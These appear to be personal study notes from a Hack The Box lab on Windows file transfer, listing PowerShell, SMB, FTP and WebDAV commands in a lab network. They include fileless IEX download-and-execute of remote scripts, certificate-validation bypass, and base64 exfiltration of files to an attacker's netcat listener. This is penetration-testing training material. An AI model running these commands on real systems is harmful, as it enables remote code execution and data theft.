Recap Windows

vendredi 4 octobre 2024 3:24 PM

File Transfer	Techniques
Download	

PowerShell Base64 Encode & Decode

☐ Djerbien@htb[/htb]$ md5sum id_rsa

☐ Djerbien@htb[/htb]$ cat id_rsa |base64 -w 0;echo

☐ PS C:\htb> **[IO.File]::WriteAllBytes**("C:\Users\Public\id_rsa",
[Convert]::FromBase64String("<base64 blob>"))

☐ PS C:\htb> **Get-FileHash C:\Users\Public\id_rsa -Algorithm md5**

PowerShell Web Downloads :

PowerShell DownloadFile Method

- **FileDownload & Async**

☐ PS C:\htb> **(New-Object Net.WebClient).DownloadFile**('<Target File URL>','<Output File Name>'
☐ PS C:\htb> **(New-Object Net.WebClient).DownloadFileAsync**('<Target File URL>','<Output File Name>')

- **PowerShell DownloadString - Fileless Method (into memory)**

☐ PS C:\htb> **IEX (New-Object Net.WebClient).DownloadString**('<Target File URL>')
☐ PS C:\htb> **(New-Object Net.WebClient).DownloadString**('<Target File URL>') **| IEX**

PowerShell Invoke-WebRequest

☐ https://gist.github.com/HarmJ0y/bb48307ffa663256e239 (check the table in my notes, uses internet explorer for this exploit with various techniques)

Common Errors with PowerShell

There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download.

☐ PS C:\htb> **Invoke-WebRequest** https://<ip>/PowerView.ps1 **-UseBasicParsing** | IEX

Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command:

☐ PS C:\htb> **[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}**

SMB DOWNLOADS

Create the SMB Server

☐ $ sudo **impacket-smbserver share -smb2support** /tmp/smbshare

Copy a File from the SMB Server

☐ C:\htb> **copy** \\192.168.220.133\share\nc.exe

Create the SMB Server with a Username and Password

New versions of Windows block unauthenticated guest access

- [ ] $ sudo **impacket-smbserver share -smb2support** /tmp/smbshare **-user** test **-password** test

Mount the SMB Server with Username and Password

- [ ] C:\htb> **net use n:** \\192.168.220.133\share **/user**:test test

FTP Downloads

Setting up a Python3 FTP Server

- [ ] Djerbien@htb[/htb]$ **sudo pip3 install pyftpdlib**
- [ ] Djerbien@htb[/htb]$ **sudo python3 -m pyftpdlib --port 21**

💡 Then we can specify port number 21 because, by default, pyftpdlib uses port 2121. Anonymous authentication is enabled by default if we don't set a user and password.

Transfering Files from an FTP Server Using PowerShell

- [ ] **PS C:\htb>** (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

Create a Command File for the FTP Client and Download the Target File

- [ ] C:\htb> echo **open 192.168.49.128** > ftpcommand.txt
- [ ] C:\htb> echo **USER anonymous** >> ftpcommand.txt
- [ ] C:\htb> echo **binary** >> ftpcommand.txt
- [ ] C:\htb> echo **GET file.txt** >> ftpcommand.txt
- [ ] C:\htb> echo **bye** >> ftpcommand.txt

- [ ] **C:\htb>** ftp -v -n -s:ftpcommand.txt

ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye

- [ ] C:\htb>**more file.txt**

This is a test file

Uploads

PowerShell Base64 Encode & Decode

- [ ] **PS C:\htb> [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))**

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiM
NCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUu
IFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aG
UgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb
24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3I
CAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuY
W1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo=

- [ ] PS C:\htb> **Get-FileHash** "C:\Windows\system32\drivers\etc\hosts" **-Algorithm** MD5 | **select Hash**

Hash

3688374325B992DEF12793500307566D

- [ ] Djerbien@htb[/htb]$ **echo**

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiM
NCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUu
IFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aG
UgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb
24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3I
CAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuY
W1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo= **| base64 -d > hosts**

- [ ] Djerbien@htb[/htb]$ **md5sum hosts**

3688374325b992def12793500307566d hosts

PowerShell Web Uploads

Installing a Configured WebServer with Upload

- [ ] —$ python3 -m pipx install uploadserver
- [ ] —$ python3 -m pipx ensurepath

Run http server

- [ ] —$ **python3 -m uploadserver**

Or

Self-Signed Certificate to run a server with https

- [ ] **$ openssl req -x509 -out** server.pem **-keyout** server.pem **-newkey rsa:2048 -nodes -sha256 -subj '/CN=server'**

- [ ] —$ **/home/jerbi/.local/bin/uploadserver** 443 **--server-certificate** ../server.pem

PowerShell Script to Upload a File to Python Upload Server

- [ ] PS C:\htb> **IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')**

- [ ] PS C:\htb> **Invoke-FileUpload -Uri** http://192.168.49.128:8000/upload **-File C:\Windows\System32\drivers\etc\hosts**

```
[+] File Uploaded:  C:\Windows\System32\drivers\etc\hosts
[+] FileHash:  5E7241D66FD77E9E8EA866B6278B2373
```

PowerShell Base64 Web Upload

using **Invoke-WebRequest** or **Invoke-RestMethod** together with **Netcat**.

- [ ] **PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content** -Path 'C:\Windows\System32\drivers\etc\hosts' **-Encoding** Byte**))**

- [ ] **PS C:\htb> Invoke-WebRequest -Uri** http://192.168.49.128:8000/ **-Method POST -Body $b64**

We catch the bytes in our Attacker machine :

- [ ] Djerbien@htb[/htb]$ **nc -lvnp 8000**

```
listening on [any] 8000 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.129] 50923
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Content-Type: application/x-www-form-urlencoded
Host: 192.168.49.128:8000
Content-Length: 1820
Connection: Keep-Alive

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgXQgbGVhc3Qgb25lDQo
...SNIP...
```

- [ ] Djerbien@htb[/htb]$ **echo** <base64> | **base64 -d -w 0 > hosts**

SMB Uploads

Commonly enterprises **don't allow the SMB protocol (TCP/445) out of their internal network to not pose a potential attack**. An alternative is to run **SMB over HTTP with WebDav**. WebDAV (RFC 4918) is an extension of HTTP, the internet protocol that **web browsers** and **web servers** use to communicate with each other.

Configuring WebDav Server

- [ ] --$ Pipx install wsgidav cheroot

Using WebDav

```
Djerbien@htb[/htb]$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
```

Connect to WebDav and upload

```
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\
```

Note: If there are no SMB (TCP/445) restrictions, you can use **impacket-smbserver** the same way we set it up for download operations.

FTP Uploads

Setting up a Python3 FTP Server (with --write)

```
Djerbien@htb[/htb]$ sudo python3 -m pyftpdlib --port 21 --write
```

Uploading Files from an FTP Server Using PowerShell

```
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows
\System32\drivers\etc\hosts')
```

Create a Command File for the FTP Client and uplaod the Target File

```
C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128

Log in with USER and PASS first.


ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye
```

.